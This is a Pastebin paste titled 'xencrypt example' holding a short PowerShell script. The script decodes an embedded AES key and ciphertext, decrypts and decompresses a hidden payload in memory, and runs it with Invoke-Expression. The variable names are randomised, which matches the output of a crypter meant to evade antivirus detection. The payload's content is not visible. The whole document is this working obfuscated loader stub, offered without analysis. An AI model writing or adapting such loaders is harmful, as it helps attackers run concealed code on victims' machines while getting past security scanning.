Guest User

xencrypt example

a guest
Nov 18th, 2020
136
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. $cfii = [System.Convert]::FromBase64String("zDYGjpptXWqJootb7OdcR/JaGJswRA3EywKlPTHHZMQ=")
  2. $vcqw = New-Object "System.Security.Cryptography.AesManaged"
  3. $hctqdvb = [System.Convert]::FromBase64String("iLwgysA+ONk7XmrxKXagmRHh2a8v7JFj/xoQddCTkQN91XcJesX5FjXQuwudVJBtzokdOrTlq+4ymOvaMKYKwA==")
  4. $vcqw.BlockSize = 128
  5. $vcqw.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
  6. $vcqw.Mode = [System.Security.Cryptography.CipherMode]::CBC
  7. $vcqw.KeySize = 256
  8. $vcqw.Key = $cfii
  9. $vcqw.IV = $hctqdvb[0..15]
  10. $yitexde = New-Object System.IO.MemoryStream(,$vcqw.CreateDecryptor().TransformFinalBlock($hctqdvb,16,$hctqdvb.Length-16))
  11. $rosvmap = New-Object System.IO.MemoryStream
  12. $bweg = New-Object System.IO.Compression.GzipStream $yitexde, ([IO.Compression.CompressionMode]::Decompress)
  13. $bweg.CopyTo($rosvmap)
  14. $vcqw.Dispose()
  15. $yitexde.Close()
  16. $korri = [System.Text.Encoding]::UTF8.GetString($rosvmap.ToArray())
  17. $bweg.Close()
  18. Invoke-Expression($korri)
  19.  
RAW Paste Data